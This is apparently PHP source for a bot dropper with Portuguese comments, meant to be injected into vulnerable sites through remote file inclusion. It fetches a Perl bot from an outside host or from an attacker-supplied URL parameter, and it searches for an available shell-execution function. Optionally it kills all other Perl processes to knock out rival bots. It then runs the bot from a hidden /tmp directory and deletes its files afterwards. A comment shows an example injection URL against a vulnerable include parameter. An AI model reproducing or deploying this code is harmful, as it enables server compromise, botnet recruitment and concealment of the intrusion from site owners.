* */ ## configurações/config $boturl = "http://dvl.com.sapo.pt/tmpfile.txt"; # url do bot $show = 0; # 1 = on, 0 = off - mostra um "ok!" ao terminar todos os comandos util se vc tbem quiser testar as vulns $kill = 0; # 1 = on, 0 = off - o script tenta matar todos os outros processos em perl na maquina (util pra matar outros bots e bncs dos outros e até mesmo evitar clones) ## codigo, não edite/source, don't edit if ($_GET['boturl']) { $boturl = $_GET['boturl']; } # as vezes da preguiça de mecher no source pra mudar os scripts dos bots =x # exp: http://localhost/run.php?boturl=http://localhost:8000/outrobot.txt # http://vuln/index.php?include=http://evil/run.txt?boturl=http://evil/bot2.txt? echo ""; $botsource = @file_get_contents("$boturl"); if (!$botsource) { exit("não foi possivel acessar o arquivo $boturl
verifique se o caminho está correto e tente novamente"); } function cmd($shell) { $safe = @ini_get("safe_mode"); if ($safe) { exit("a maquina ta em safe mode =/"); #include("http://url/do/bot/em/php"); } elseif (function_exists("passthru")) { $cmd = "passthru"; } elseif (function_exists("shell_exec")) { $cmd = "shell_exec"; } elseif (function_exists("system")) { $cmd = "system"; } elseif (function_exists("exec")) { $cmd = "exec"; } elseif (function_exists("popen")) { $cmd = "popen"; } elseif (function_exists("proc_open")) { $cmd = "proc_open"; } else { exit("o corno do admin desativou todas as funções para enviar comandos para a maquina =/"); } $cmd($shell); //echo "comando executado usando $cmd "; } if ($kill) { cmd("nohup killall -9 perl 2>&1"); } if (is_writable("/tmp")) { $dir = "/tmp/.run/"; $bot = "/tmp/.run/run.txt"; } elseif (is_writable("/var/tmp")) { $dir = "/var/tmp/.run/"; $bot = "/var/tmp/.run/run.txt"; } elseif (is_writable(".")) { $dir = "./.run/"; $bot = "./.run/run.txt"; } else { exit("não foi encontrada nenhuma pasta writable"); } mkdir("$dir", 0777); if (file_exists("$bot")) { unlink("$bot"); } $fp = fopen("$bot", "a+"); fputs($fp, $botsource); fclose($fp); cmd("nohup perl $bot http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." &"); unlink("$bot"); rmdir("$dir"); if ($show) { echo "ok!"; } /* atualizado 15/12/2007 as 05:35 */ ?>